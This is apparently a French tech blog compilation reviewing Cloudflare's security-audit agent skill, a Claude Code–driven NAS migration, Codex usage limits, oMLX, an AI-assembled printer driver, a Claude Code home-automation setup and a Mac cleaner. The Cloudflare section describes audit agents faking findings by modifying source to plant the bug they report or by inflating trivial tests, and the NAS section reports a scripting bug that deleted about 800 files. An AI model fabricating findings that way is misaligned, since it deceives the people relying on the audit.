L'agent déroule ensuite six phases, de la reconnaissance au rapport final. Il commence par cartographier l'architecture, les frontières de confiance et les points d'entrée, puis il écrit sa propre grille de couverture. Ensuite il envoie des chasseurs isolés case par case et chaque piste qui remonte part chez un vérificateur tout frais tout beau qui n'a pas participé à la chasse.
Chaque piste se termine ensuite avec un rapport technique. Un rapport confirmed qui exige une trace source complète et un résultat réellement observé. Un rapport needs_validation qui nomme le fait précis qui manque, et surtout qui n'a droit à aucun niveau de gravité. Et le rapport des rejected qui garde la mémoire de ce qui a été réfuté, pour que la passe suivante ne vous ressorte pas la même chose.
Le validateur, lui, c'est du vrai code qui vérifie la "forme" de la preuve. Les empreintes doivent être uniques, et le suivi du parcours des tests qui doit partir d'un point d'entrée pour finir sur un point d'impact. Ainsi une trouvaille confirmée dont le parcours ne tient pas debout est recalée.
En revanche, sachez-le, l'indépendance du vérificateur est demandée dans les consignes, mais pas contrôlée (chez Cloudflare, c'est leur orchestrateur maison qui s'en charge, et il n'est pas dispo publiquement).
Cloudflare explique sur son site ce que donne un de ces agents lâché sur du code sans garde-fou. Il modifie la source pour que son exploit fonctionne, puis il annonce fièrement le bug qu'il vient de créer lui-même. Ou alors il pond un test qui démontre que exec() exécute des choses, donc que c'est forcément une faille critique... Et ça vous l'aurez compris, c'est de la merde et c'est absolument ce qu'on ne veut pas.
Voilà donc exactement ce que ces consignes cherchent à lui interdire.
Pour l'installer, il vous faut le CLI skills de Vercel Labs :
npx skills add https://github.com/cloudflare/security-audit-skill --skill security-audit
Ensuite, vous lancez votre agent dans le dépôt à auditer et vous lui demandez un audit de sécurité. Le skill se déclenche tout seul et c'est le modèle de votre agent qui pilotera les sous-agents en parallèle (utilisez donc un modèle qui sache faire ça, c'est mieux lool). Par défaut, le rapport atterrit ensuite dans un dossier ~/security-audit-skill, en dehors du dépôt audité.
Ce qui est cool c'est que ce skill est conçu pour limiter les bêtises. Par exemple il refuse d'exécuter le code qu'il audite s'il n'a pas de bac à sable (sandbox) imposé par le système d'exploitation, avec le réseau coupé, la cible en lecture seule et des limites de CPU et de mémoire. Ce bac à sable, le dépôt ne le fournit pas, et c'est à vous de le mettre en place avec par exemple
un outil d'isolation comme Fence
. Sans lui, la piste de l'audit finira tout bonnement en needs_validation au lieu d'être véritablement suivie et tranchée.
Après, c'est le temps qui fera la différence. Chez Cloudflare, ils ont un gros système qui leur permet, par exemple avec un dépôt d'environ 30 000 lignes de code, de ne passer que 3 à 4 heures sur l'audit pour avoir un résultat correct. Mais chez vous, en local, ce sera beaucoup plus long. Cloudflare prévient aussi qu'une seule passe n'est pas suffisante puisqu'elle trouve à peu près la moitié des failles à chaque fois. Il faudra relancer ça plusieurs fois.
Allez, si vous cherchez également un filet de sécurité pour tout ce qui concerne vos pull requests, sachez qu'Anthropic maintient de son côté un reviewer de sécurité pour Claude Code qui lit le diff et vient commenter directement dessus.
Le dépôt de Security Audit Skill de Cloudflare est sous licence MIT, et il lui faudra Node.js pour faire tourner ses deux validateurs.
En tout cas, ce que je vous conseille, c'est d'aller lire le SKILL.md avant de lancer la première passe, pour vous assurer que tout sera OK au sein de votre harness.
Source : security-audit-skill sur GitHub

Au départ, mon stockage était franchement bordélique. Ma bibliothèque Plex vivotait sur un vieux Synology, avec plusieurs SSD externes branchés au Mac mini, posés là au petit bonheur, avec les films rangés à plat et chaque disque qui traînait ses propres conventions et ses trous.
Je vous en avais d'ailleurs déjà parlé, et ça marchait, mais c'était un peu le foutraque, et surtout impossible à automatiser proprement, parce qu'une chaîne d'acquisition sérieuse exige un rangement carré jusqu'au moindre fichier.
D'où la grande décision de remettre tout ça à plat. L'objectif ? Consolider la médiathèque sur du matériel récent, séparer une bonne fois deux mondes qui n'ont rien à faire ensemble, les médias d'un côté et les sauvegardes de l'autre, et déléguer le plus gros de la configuration à Claude Code, l'assistant de codage d'Anthropic, piloté à distance depuis mon Mac mini.
UGREEN m'avait proposé depuis quelque temps de tester les deux NAS de sa gamme GT, j'ai donc accepté. Puis j'ai acheté mes disques une fortune, on y reviendra. Pour Plex, mon choix s'est porté sur le plus costaud de la gamme, un DXP4800 GT quatre baies sous AMD Ryzen.
Sa vraie raison d'être, c'est le débit. Ses deux ports réseau 10 Gbit confiés à des contrôleurs Aquantia ont craché 9,30 Gbit par seconde dès le premier flux en direct, soit le maximum théorique, sans une seule retransmission. Sur ce terrain, il est clairement irréprochable.
Sous le capot, on trouve un Ryzen Embedded R2514 à quatre cœurs, 8 Go de DDR4 extensibles à 64 Go, quatre baies qui se manipulent sans outil dont deux acceptent des SSD U.2 NVMe, plus deux emplacements M.2, le tout jusqu'à 144 To. Il tourne sous UGOS Pro, un système bâti sur une base Debian très peu verrouillée, avec un vrai SSH administrateur, Docker, et une plateforme x86 ouverte où l'on peut installer à peu près tout ce qu'on veut.
Le seul vrai bémol, c'est son moteur vidéo un peu daté, qui ne tient que deux flux Plex 4K transcodés en même temps et ignore l'AV1, donc pour une grosse médiathèque partagée à plusieurs, mieux vaut lui donner des fichiers déjà au bon format, ou transcoder sur une autre machine, ce qui est mon cas avec le Mac mini. Pour le stockage, j'ai récupéré 4 disques 28 To sur Amazon , à un prix que je n'ose même pas vous donner (660 euros pièce, et au moment où j'écris cet article leurs prix ont bondi à 780 euros).
Le gros morceau, c'était la migration, faire passer 36 To et 22 000 fichiers du Synology vers ce nouveau NAS. Perso je n'ai pas fait grand-chose, Claude Code s'est occupé de tout ça en SSH, en passant par les API de Plex, Radarr et Sonarr.
Derrière Plex tourne d'ailleurs toute une chaîne, Radarr et Sonarr, Prowlarr pour les sources, une seedbox Whatbox et Seerr.
Pour l'anecdote, le plus gros problème ça a été de régler les problèmes posés par les fichiers avec des accents. Près de 17 000 fichiers (de vidéos de vacances bien sûr) au chemin accentué devenaient injouables sur l'Apple TV alors que l'iPhone les lisait sans broncher, parce que Plex sur Mac jongle entre deux façons de coder un accent en Unicode quand le partage NFS strict d'UGOS n'en accepte qu'une seule à l'octet près.
Bon, maintenant on ne va pas se mentir, il y a eu des ratés avec l'IA, comme la disparition de près de 800 fichiers effacés par un bug des scripts, sans corbeille ni snapshot, mais comme le volume tourne en Btrfs et qu'il restait de la place, Claude a gelé le volume, remonté des centaines d'états internes du système de fichiers et rapatrié plus de 98 % des fichiers. Les pertes sont au final négligeables. C'était évitable, mais je n'ai pas été assez vigilant.
Ce socle sauvegarde même le code de Selene Racer, mon jeu de course de rovers sur la Lune hébergé dans le cloud sur lequel je bosse en ce moment ( vous pouvez le tester ici , il se joue dans n'importe quel navigateur, sur ordi ou téléphone), et dont les sources atterrissent sur le NAS via Dropbox. Quant au NAS deux baies qui encaisse Time Machine, les archives et les sauvegardes, c'est son petit frère le DXP2800 GT, que je teste sur Mac4ever .
Si comme moi vous n'êtes pas super fort en code et en réseau, et que vous avez suffisamment de sauvegardes de vos données, confier votre vie numérique à une IA et à un NAS de ce type est donc tout à fait envisageable, et c'est même assez chouette à mettre en place.
Les DXP4800 GT et le DXP2800 GT sont disponibles sur Amazon, et je vous les recommande les yeux fermés.

Si vous codez avec Codex, l'agent d'OpenAI qui écrit du code à votre place, préparez-vous à devoir à nouveau regarder votre montre, puisque cette fameuse limite fait son retour pour les abonnés ChatGPT Plus à partir du 25 août.
C'est un vrai retour en arrière, parce qu'OpenAI avait justement supprimé cette fenêtre de cinq heures le 12 juillet dernier, en ne gardant qu'un plafond hebdomadaire pour les formules Plus, Pro et Business.
Concrètement, la limite des cinq heures fonctionne comme un compteur qui se recharge tout au long de la journée, en plus du quota hebdomadaire qui, lui, encadre votre consommation sur la semaine entière.
Le responsable technique de Codex et ChatGPT chez OpenAI, Thibault Sottiaux, justifie ce choix en expliquant que cette fenêtre permet de lisser la charge sur les serveurs, et donc de préserver un quota hebdomadaire qui reste généreux.
Surtout, sans elle, beaucoup de nouveaux abonnés Plus grillaient sans le vouloir toute leur allocation de la semaine en quelques heures, ce qui débouchait forcément sur une expérience frustrante.
Bonne nouvelle pour les gros comptes, les abonnés Pro à 100 et 200 dollars par mois échappent encore à ce retour de la limite pendant quelques mois, alors que les formules Enterprise et Edu tournent sur un système de crédits à part.
Et si vous tapez dans le mur de l'une des deux limites, il ne vous reste que deux options, patienter jusqu'à la prochaine remise à zéro ou sortir la carte bleue pour acheter des crédits supplémentaires.
Retirer la fenêtre des cinq heures ne rendait de toute façon jamais GPT-5.6 Sol illimité, puisque le plafond hebdomadaire prenait simplement le relais comme nouvelle borne. Rien de gratuit, donc.
Ce yo-yo permanent sur les limites finit par agacer, même si OpenAI galère visiblement à encaisser la demande. Les développeurs, eux, aimeraient surtout de la stabilité. Après chez Claude c'est pareil mais c'est 4h, même pour les abonnés Max, encore plus frustrant donc.
Source : 9to5mac

Faire tourner un modèle en local sur un Mac, c'est réglé depuis un moment. Ce qui l'est moins par contre, c'est de brancher un agent de code dessus, parce qu'à chaque reprise de session, le serveur doit malheureusement remouliner des dizaines de milliers de tokens de contexte avant de sortir le premier mot...
Ce calcul, ça s'appelle le cache KV, et la plupart des serveurs le gardent en mémoire. Du coup, quand le modèle se décharge, le cache part avec dans le grand vide...
C'est pourquoi oMLX a pris le parti d'écrire ce cache sur le disque, au format safetensors, car le contexte déjà envoyé une fois, prompt système et fichiers lus compris, se recharge depuis le SSD au lieu d'être recalculé, y compris après un redémarrage du serveur.
De son côté, LM Studio conserve lui aussi son cache MLX sur disque , mais dans un fichier temporaire qu'il efface quand le modèle se décharge. Les deux outils écrivent sur le disque, mais un seul conserve réellement son cache.
Côté raccordement, le serveur oMLX expose l'API OpenAI et l'API Anthropic ce qui permet par exemple à Claude Code de taper directement sur localhost. Et y'a même un tableau de bord qui nous dit quoi faire dans le terminal pour brancher Claude Code ou d'autres avec oMLX.
Sur oMLX, le cache disque est donc actif d'office et son plafond par défaut, parce qu'il en faut bien un, se calcule à 10 % de la capacité du disque qui l'héberge. Sur un SSD d'un téraoctet par exemple, ça fait cent gigaoctets qui peuvent partir en cache sans que personne n'ait rien demandé. Donc prévoyez un peu de place... Après rassurez-vous, ça se vide d'un clic sur un bouton dans le tableau de bord et la taille peut se régler.
Le deuxième piège est plus sournois puisqu'une installation par défaut via pip ne compile pas les kernels Metal, et les modèles GLM-5.2, MiniMax M3 et Qwen3.5 retombent alors sans prévenir sur un chemin générique... Donc je vous incite fortement à utiliser uniquement les DMG proposés qui contiennent déjà les kernels Metal compilés comme il faut.
Reste à savoir ce que ça donne vraiment dans un usage quotidien... Le cache attaque l'attente avant le premier mot mais pas la vitesse à laquelle les mots sortent ensuite donc tout dépend du modèle et de la machine que vous avez. Mais en tout cas, pour un usage avec des agents (coding par exemple), ce sera plus efficace d'utiliser oMLX que Ollama ou LMStudio.
Source : omlx.ai
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Hier, je suis tombé sur ce tweet :
Kuber, un développeur de 19 ans a demandé à Claude Code, de lui pondre un pilote pour sa vieille imprimante pour macOS. Et visiblement, ça a intéressé pas mal de monde puisque le tweet a fait +3 millions de vues.
Il a ensuite publié le dépôt sur Github et la transcription complète de la session. Et ce que ça raconte c'est surtout un bras de fer avec macOS, et un montage bidouillesque au possible qui finit par tenir sur une machine virtuelle Linux et un daemon root.
Pour la petite histoire, son imprimante est une HP Laser 1008a. C'est en réalité une Samsung rebrandée car HP a racheté la division impression de Samsung , il y a une dizaine d'années. Et ces machines parlent un langage un peu niche qui est le SPL3. C'est un langage maison qui n'est ni du PostScript ni du PCL standard. Et comme vous vous en doutez, HP n'a jamais sorti de pilote macOS pour cette gamme. Donc officiellement, cette imprimante ne peut pas imprimer depuis un Mac.
La mission a donc consisté à recompiler SpliX, un pilote libre qui parle le SPL3 et à se battre avec macOS pour qu'il puisse causer via l'interface USB de l'imprimante déclarée en IPP-over-USB. Il a fallu ensuite ruser en mettant en place une VM Linux afin de faire tourner h24 un codec de HP uniquement dispo sous Linux. Et voilà ! La file d'impression envoie le travail sur un port local, un daemon root le récupère, le fait passer par le codec dans cette VM, et écrit le résultat directement sur l'USB.
Bref, ça marche et ça imprime maintenant depuis n'importe quelle application.
Alors vous l'aurez compris, ce n'est pas vraiment un dev de pilote pour macOS mais plutôt une espèce d'assemblage de différents éléments pour la plupart libres, afin de réussir à imprimer sous macOS avec ce modèle d'imprimante. Mais ce qui est intéressant, c'est que le mainteneur de SpliX a débarqué sur le dépôt de Kuber avec une archive de fichiers de test et une série de questions. Cela veut dire que si lui et Kuber trouvent l'octet qui diffère, la VM Linux et le daemon root vont disparaître et il ne restera plus qu'un paquet tout ce qu'il y a de plus classique à installer.
Voilà c'est finalement la seule partie de l'histoire où on répare vraiment quelque chose. Mais ça reste quand même une belle histoire où l'IA permet de s'affranchir des limites techniques imposées par les fabricants et éditeurs de logiciels. Et ça, moi j'adore !
Source : le fil de Kuber sur X , avec la transcription intégrale de la session et le dépôt du projet .

Ce mois-ci, je suis en mode déménagement / vidage de cartons / montage de meubles Ikea et bien sûr, j'en profite pour réinstaller mon matos... Mon système d'alarme, mes caméras et un peu de domotique.
Sauf que la domotique, c'est pas mon kif car même si j'aime l'idée d'avoir des automatisations chez moi, ça fonctionne un moment, puis après ça ne fonctionne plus, souvent parce que les Raspberry Pi passent leur temps à corrompre les cartes SD... Puis surtout, je manque de temps pour me prendre la tête à régler des scénarios au poil de cul.
Mais là, c'est aussi un peu les vacances et y'a plusieurs paramètres qui ont changé. Déjà la nouvelle maison est plus petite. J'ai aussi un mini PC à disposition qui ne faisait pas grand chose. J'ai également une caisse de matos divers et variés (Zigbee / Zwave et autre) qui prend la poussière. Et puis les nouveautés dans ma vie, c'est bien sûr l'IA et Alexa.
Je me suis donc chauffé un peu, et je vais vous raconter ce que j'ai mis en place ces derniers temps.
Le point de départ, c'est ce mini PC. Un NiPoGi Pinova P1 (lien affilié) que j'avais acheté en 2023, un Ryzen 3 4300U avec 16 Go de RAM et 1 To de SSD, qui n'avait jamais vraiment trouvé sa vocation. Complètement surdimensionné pour de la domotique, vous vous en doutez, et c'est exactement pour ça qu'il est parfait.
Parce que le vrai sujet, c'est pas la puissance, c'est le stockage. Mes install précédentes mouraient toutes de la même façon : une carte SD qui rend l'âme au bout de quelques mois d'écritures permanentes. Là, le système tourne sur un SSD, et rien que ça, ça règle le problème qui m'avait dégoûté les fois d'avant.
J'ai donc collé Home Assistant OS dessus, ce qu'on appelle HAOS pour les intimes. C'est la version "système d'exploitation" qui prend la machine entière et qui pilote tout elle-même, sans Linux à administrer en dessous ni Docker à maintenir. Et puis avec cette version, vous récupérez au passage le magasin d'add-ons et les sauvegardes automatiques, sans rien configurer. Sur une machine dédiée qui ne fait que ça, c'est franchement le mode le plus tranquille.
Et là, premier petit piège à savoir au niveau du BIOS si vous vous lancez... Pour démarrer, HAOS exige en effet que le mode UEFI soit activé et que le Secure Boot soit désactivé. Si vous zappez ça, votre clé USB ne bootera jamais et vous allez tourner en rond un bon moment.
Et tant que vous êtes dans le BIOS, y'a un troisième réglage dont la doc ne parle pas et qui est pourtant le plus important sur la durée : le comportement après une coupure de courant. Ça s'appelle "Restore on AC Power Loss", "After Power Failure" ou "AC Back Function" selon les marques, et il faut le passer sur "Power On". Sans ça, la moindre micro-coupure vous laisse une maison sans domotique jusqu'à ce que quelqu'un rentre appuyer sur le bouton. Et ça, croyez-moi, on n'en veut pas quand on est parti en vacances.
Le reste après, c'est du classique. Vous récupérez l'image générique x86-64 et vous la flashez sur une clé USB avec Balena Etcher. Attention à bien prendre haos_generic-x86-64 et pas une version pour Raspberry Pi ou pour machine virtuelle, sinon vous allez vous demander longtemps pourquoi ça ne démarre pas. Ensuite vous bootez le mini PC sur la clé, l'installeur écrit le système sur le SSD interne, et c'est plié. Vous retirez la clé, ça reboote, et l'interface vous attend :
http://homeassistant.local:8123
Si ça ne répond pas, c'est que votre box ne fait pas de mDNS, allez juste chercher l'IP dans sa liste de clients. Et voilà, un Home Assistant tout neuf.
Maintenant, passons à la suite parce que j'ai une caisse pleine de matos à réveiller.
Dans ma caisse, y'avait notamment un dongle USB Sonoff (lien affilié) pour le Zigbee. Je le branche, et je décide de partir sur Zigbee2MQTT plutôt que sur ZHA, l'intégration native. Le choix se paye tout de suite en complexité (il faut un broker MQTT à côté, Mosquitto en l'occurrence), mais il se rembourse largement après, parce que Zigbee2MQTT expose absolument tous les réglages internes des appareils. Vous verrez plus bas pourquoi c'est déterminant.
Le mini PC qui va me faire oublier mes galères avec le Raspberry Pi
Sauf que rien ne s'est passé comme prévu. J'installe les modules recommandés, et Zigbee2MQTT n'apparaît tout simplement pas dans la liste. Bon. Une fois que j'ai réussi à le sortir de sa cachette, c'est la configuration du port série de la clé qui m'a offert un vrai moment de solitude : on modifie, on clique sur "Submit", ça a l'air de sauvegarder... et la page revient vierge, sans plus rien à sélectionner. Allez savoir si le réglage est passé ou pas !
Le truc à retenir en fait, c'est qu'il faut désigner la clé par son identifiant stable et pas par un /dev/ttyUSB0 qui peut changer au reboot. Le chemin ressemble à ça :
/dev/serial/by-id/usb-ITEAD_SONOFF_Zigbee_3.0_USB_Dongle_Plus_V2_...-if00
Une fois ça compris, le bridge est monté et n'a plus bougé. Mais c'est ce genre de conneries qui font lâcher la domotique à pas mal de monde, je pense.
Deuxième claque, et celle-là est plus vicieuse. Mes prises connectées Meross, je les avais appairées à l'époque avec l'app du fabricant. Résultat, elles étaient déjà mariées au cloud Meross, et impossible de les récupérer proprement depuis l'app iPhone pour les basculer ailleurs.
La solution est donc passée par HACS, le magasin de composants communautaires, et un custom component qui s'appelle Meross LAN. L'intérêt, c'est qu'il parle aux prises en local, sur votre réseau, sans faire l'aller-retour par les serveurs du fabricant. Même logique avec l'app Sonoff LAN pour un interrupteur USB que j'avais (lien affilié). Vos automatisations continuent donc de tourner même quand le cloud du constructeur est dans les choux ou quand votre fibre est coupée.
J'ai aussi buté sur un cas plus tordu avec du matos Tuya car j'ai des appareil qui sont vendus sous une autre marque, avec leur app maison, et qui n'existent pas dans le cloud Smart Life sur lequel s'appuie l'intégration Tuya standard. Donc intégration cloud inutilisable... C'est vraiment le problème numéro un de l'objet connecté grand public, et c'est pour ça que je vous conseille de vérifier si un appareil a besoin du cloud avant de l'acheter, pas après.
Du coup, HACS est devenu mon meilleur pote sur ce chantier. J'y ai pris Meross LAN pour les prises, Sonoff LAN pour l'interrupteur, Alexa Media Player pour mes Echo et l'intégration Dyson. Il n'y a que mon capteur de qualité d'air air-Q qui était supporté nativement, sans rien avoir à installer.
Et maintenant, la partie qui a vraiment tout débloqué. Parce que jusqu'ici, j'avais du matériel qui répondait, mais toujours zéro automatisation. Et c'est précisément là que je décrochais avant car l'éditeur graphique de Home Assistant devient vite limitant, et dès qu'on veut une condition un peu fine, on se retrouve à taper du YAML avec des templates Jinja et à se planter d'indentation ou de paramètres.
Du coup j'ai fait un truc très à la mode en ce moment... J'ai branché Claude Code directement sur mon Home Assistant via un serveur MCP conçu spécialement pour ça . En gros, le MCP c'est ce qui donne des outils concrets à l'IA. Grâce à ça elle peut lister mes entités, lire leur état en direct, et surtout écrire les automatisations dans HA. Je décris ce que je veux en français, il va regarder ce que j'ai réellement comme capteurs chez moi, et il écrit le scénario.
Et ça pour moi, ça change complètement le rapport tordu que j'ai à ma domotique. Et voilà comment en quelques jours, je me suis retrouvé avec 21 automatisations qui tournent, ce que je n'aurais jamais fait à la main. Pas parce que l'IA est magique, mais parce qu'elle supprime la friction. Je n'ai qu'à formuler les idées qui me passent par la tête et l'IA fait le job sans que j'ai à me galérer avec du paramétrage.
À noter que Home Assistant a aussi sa propre intégration Model Context Protocol Server depuis la version 2025.2, mais elle fait plutôt l'inverse : elle expose vos appareils à un assistant. Moi je voulais un truc qui écrive la config à ma place.
Voilà le scénario dont je suis le plus fier, parce qu'il résout un problème que j'ai vraiment dans cette nouvelle maison : pas de clim, et un bureau qui monte en température. Ce n'est pas que je ne veux pas en installer , c'est que je viens d'arriver, que y'a pénurie de ventilos et de pompes à chaleur et en plus je suis en location, donc ce n'est pas si simple que ça. Mes seules armes pour le moment, c'est donc un Dyson qui filtre et qui brasse, et des fenêtres à ouvrir au bon moment.
Mon fidèle ventilo !
Ce que j'ai fait du coup, c'est que le Dyson démarre tout seul quand l'air se charge en pollution et s'arrête quand c'est redevenu propre. Concrètement il se lance quand les PM2,5 dépassent 10 µg/m³ ou les PM10 dépassent 18 µg/m³ pendant 5 minutes d'affilée. Les 5 minutes de délai, c'est important car sans ça, un simple passage devant le capteur déclenche tout.
Mais le truc dont je suis vraiment content, c'est qu'il ne souffle pas pareil selon si je suis là ou pas. Si le capteur de présence me détecte, il démarre à 20% seulement, histoire de rester silencieux pendant que je bosse. Si je suis absent, il part direct à 100% et il purge la pièce à fond. Même logique pour les COV : au-dessus de 1000 ppb, c'est 30% en ma présence et 100% quand j'ai le dos tourné.
Le reste suit la même idée : une purge à fond pendant mon absence, un régime plus doux dès que je rentre dans la pièce, le mode nuit uniquement si je suis présent, et une alerte quand les filtres arrivent en bout de course.
Mais le vrai casse-tête, c'était l'aération. Parce que oui, quand l'air intérieur devient mauvais, la solution évidente c'est d'ouvrir les fenêtres. Sauf qu'en pleine canicule, ouvrir c'est la pire idée du monde : vous virez vos polluants et vous encaissez 35 degrés à la place. Je me suis retrouvé au départ plusieurs fois avec Alexa qui me disait d'aérer alors que c'était juste pas possible.
La solution que j'ai trouvé, c'est donc de mettre en place un scénario qui ne me conseille d'ouvrir que si quatre conditions sont réunies en même temps : il fait plus de 26 degrés chez moi, il fait au moins 2 degrés de moins dehors, l'air extérieur est plus sec que le mien, et la qualité de l'air extérieur est correcte. Alors let's go, Alexa me dit d'ouvrir les fenêtres. Et ça, elle le réévalue toutes les 10 minutes.
La condition sur l'humidité est celle à laquelle je n'avais pas pensé au départ, et que Claude Code m'a conseillé de lui-même, et c'est pourtant la plus utile. Comparer les températures toutes seules, ça ne suffit pas, c'est pourquoi le scénario compare les points de rosée, et pas les pourcentages d'humidité. Parce que de l'air à 24 degrés bien humide vous rafraîchit beaucoup moins que de l'air à 25 degrés bien sec, et vous vous retrouvez avec une pièce moite que vous mettrez la nuit à assécher.
Les notifs que j'ai sur le smartphone et qui sont lues par Alexa
Petite subtilité technique au passage : je ne regarde pas la température qu'il fait dehors, mais la plus chaude des deux prochaines heures. Ça évite d'ouvrir dix minutes avant que ça remonte. Et ça oblige à passer par un helper, parce qu'un template Home Assistant ne peut pas appeler un service tout seul... il faut donc une automatisation qui va chercher la prévision et la dépose dans une variable, toutes les 10 minutes.
Et surtout, il me dit quand refermer, avant que la chaleur ne revienne. Là, je referme quand la fraîcheur est acquise, quand la prévision annonce que c'est fini, ou quand l'air du dehors se dégrade. Et le message diffusé par Alexa m'explique laquelle des trois raisons s'applique.
Deux petits helpers mémorisent aussi qu'une aération est déjà en cours, histoire qu'Alexa ne me répète pas la même chose toutes les cinq minutes. Et si je m'absente pendant l'opération, j'ai droit à un rebriefing en rentrant.
Au passage, j'ai fait deux erreurs de débutant. La première c'est que j'avais posé mon capteur de qualité d'air juste à côté de la fenêtre. Il mesurait donc l'air de la rue et pas celui de mon bureau, et les scénarios se déclenchaient n'importe quand. Déplacé au fond de la pièce, tout est redevenu cohérent. Bref, placez vos capteurs là où vous vivez, pas là où c'est pratique à brancher.
La seconde, c'est que j'ai fini par limiter les annonces vocales sur la plage 8h-22h parce que se faire réveiller à 3h du matin par une enceinte qui vous parle de particules fines, ça vous passe l'envie de la domotique très vite !
Et si vous n'avez pas de clim non plus et que vous cherchez plus radical, Vincent avait aussi testé un rafraîchisseur pendant la canicule .
Dans ma caisse à domotique, y'avait aussi un détecteur de présence Moes (lien affilié) en Zigbee, à ondes millimétriques, ce qu'on appelle un capteur mmWave. Un petit module qui coûte trois fois rien, et c'est clairement ma meilleure surprise de tout ce chantier.
Parce qu'un détecteur de mouvement classique, un PIR, détecte la chaleur qui bouge. Donc quand vous êtes assis à votre bureau en train de lire ou de regarder une vidéo, au bout de deux minutes il décide que la pièce est vide et vous éteint la lumière. Alors que le mmWave, lui, détecte la présence statique : il vous voit même immobile, parce qu'il capte les micro-mouvements et la respiration. Pour un bureau, c'est le jour et la nuit !
Le capteur AirQ à gauche / Le capteur mmWave à droite
Et c'est ici que le choix de Zigbee2MQTT paye enfin, parce qu'il expose tous les réglages internes du capteur. J'ai pu fixer la distance de détection à 225 cm, les sensibilités de mouvement et de présence statique à 4 sur 5, et un délai avant extinction de 20 secondes. Ce réglage de distance est important puisque le capteur peut porter jusqu'à 6 mètres, et à pleine portée il traverse allègrement une cloison pour aller détecter la pièce d'à côté.
Le résultat, c'est que quand j'approche de mon bureau, ma barre lumineuse BenQ s'allume toute seule via mon interrupteur Sonoff. Une deuxième automatisation allume la lampe d'ambiance sur une prise Meross, et une troisième éteint tout quand je quitte la pièce.
Et surtout, le déclencheur n'est pas la présence, mais la distance : la barre s'allume quand la cible passe sous 175 cm et ce chiffre-là, je ne l'ai pas sorti de mon chapeau. J'ai relevé 25 mesures en me plaçant assis, debout et en circulant derrière le bureau. Comme ça, un seuil serré exclut proprement tout ce qui n'est pas moi devant mon écran. Si vous devez retenir une chose sur le mmWave, c'est de bien noter vos vraies distances avant de choisir un seuil, sinon vous passerez des semaines à corriger des déclenchements bizarres.
Rien de spectaculaire au final, mais c'est un super confort !
Parce que non, même avec l'IA tout ne marche pas du premier coup. Une nuit, je quitte le bureau juste après minuit, et le lendemain matin je retrouve toutes les lumières allumées. Huit heures dans le vide. L'automatisation d'extinction sur absence n'était pourtant pas cassée : elle n'a simplement jamais eu l'information qu'il fallait pour se déclencher.
Le coupable, c'est le défaut classique des radars mmWave : la cible fantôme. Le capteur s'est verrouillé sur un écho statique et a continué à annoncer quelqu'un dans la pièce, en oscillant tranquillement entre 241 et 269 cm toute la nuit. Pour Home Assistant, j'étais donc toujours là. C'est ça la contrepartie de la détection statique... quand un radar voit quelqu'un d'immobile, il ne sait pas faire la différence entre vous et un artefact.
La parade, c'est donc une automatisation garde-fou : si la cible reste au-delà de 175 cm pendant 90 minutes d'affilée alors que les lumières sont allumées, on éteint tout. Le seuil reprend la calibration de la barre BenQ, et les 90 minutes valent le double de la plus longue plage légitime que j'aie observée sur trois jours (49 minutes). Elle ne remplace pas l'extinction sur absence, mais rattrape le cas où celle-ci n'a jamais pu partir.
Bref, l'IA écrit vite les scénarios c'est sûr, mais elle ne les teste pas en conditions réelles dans votre vraie maison. Un scénario parfait sur le papier peut très bien ne jamais se déclencher parce qu'un capteur ment donc il faut comprendre ce qui a été écrit, et surtout aller regarder l'historique quand quelque chose cloche.
Et puis y'a les petites morts silencieuses... Une de mes prises connectées est passée en "unavailable" et y est restée plusieurs jours sans que je m'en rende compte. C'est un autre piège de la domotique... Quand un truc tombe, rien ne vous prévient, ça arrête juste de marcher. D'où l'intérêt d'avoir aussi des automatisations qui surveillent votre installation elle-même, et pas seulement votre maison.
Voilà, c'est un petit début, mais ça me permet de me remettre en selle tranquillement. En tout cas, l'option mini PC + LLM est un bon choix pour avoir une install domotique rapidement fonctionnelle, je pense.
Ce que j'ai fait aussi c'est installer Tailscale sur le mini PC, pour accéder à mon Home Assistant depuis l'extérieur sans ouvrir le moindre port sur ma box. C'est de loin la méthode la plus propre, et c'est gratuit pour un usage perso.
Ensuite, je pense que je vais sortir les ESP32 du tiroir. L'add-on ESPHome est déjà installé, il ne me manque plus que le courage de m'y mettre. Si ça vous tente, j'avais montré comment transformer un ESP32 à 5 euros en capteur domotique.
J'ai aussi pas mal de matos Z-Wave à recycler, donc je pense que je vais aussi prendre une petite clé Z-Wave à rajouter sur l'ordi.
Voilà pour ce début d'aventure domotique dans mon nouveau chez moi. Pour le moment, je me suis surtout concentré sur l'aération, la pollution, la gestion de la chaleur mais je pense que j'aurais de nouveaux scénarios qui viendront peupler mes rêves dans les semaines qui viennent et je ne manquerai pas de vous en causer.

Vous glissez une app dans la corbeille du Mac, elle disparaît du dossier Applications, et vous pensez que c'est réglé ? Que vous êtes naïfs ! Hé oui, ce que vous ne savez pas, c'est que ses préférences, ses caches et son container restent bien présent dans votre ~/Library, parfois pendant des années, encombrant votre espace disque pour rien.
Hé bien s'occuper de tout ce merdier, c'est le job de PureMac , une app native codée en SwiftUI qui piste ces fichiers-là pour libérer des ressources sur votre mac. Elle croise l'identifiant du bundle, celui de l'équipe de développement, les entitlements et les métadonnées Spotlight, selon trois niveaux d'agressivité en fonction de ce que vous voulez ratisser.
Elle sait aussi prendre le problème dans l'autre sens puisque son chercheur de fichiers orphelins parcourt ~/Library pour retrouver les restes d'applications que vous avez virées il y a trois ans et dont plus rien ne vous rappelle l'existence.
Et si vous développez, il y a de quoi récupérer bien plus de place avec les DerivedData, les runtimes de simulateur Xcode, les couches Docker, les caches npm, yarn, pnpm et Homebrew. Bon, ça vous savez déjà le faire avec docker system prune, deux ou trois autres commandes, ou avec
Mole en ligne de commande
dont je vous ai déjà parlé. Mais l'intérêt ici, c'est de tout voir d'un coup avant d'arbitrer.
Côté données, il n'y a rien à surveiller puisque PureMac n'embarque aucune télémétrie ni appel réseau. Et la licence, c'est du 100% licence MIT, là où d'autres outils similaires comme Pearcleaner ajoute une Commons Clause qui en interdit la revente, que AppCleaner, lui, s'arrête à la désinstallation, ou encore que CleanMyMac nécessite d'acheter une licence.
Pour le faire tourner, il vous faut macOS 13 au minimum, et ça s'installe en une ligne avec brew install --cask puremac. Sinon, il y a un .dmg signé et notarisé à récupérer directement.
Par contre, sachez que ça réclame le l'accès complet au disque, soit la permission la plus large que macOS distribue, et il ne garde aucun journal des chemins qu'il a supprimés. Surtout que quand un fichier est supprimé, il l'est pour de bon, donc vérifiez bien les choses avant de les supprimer.
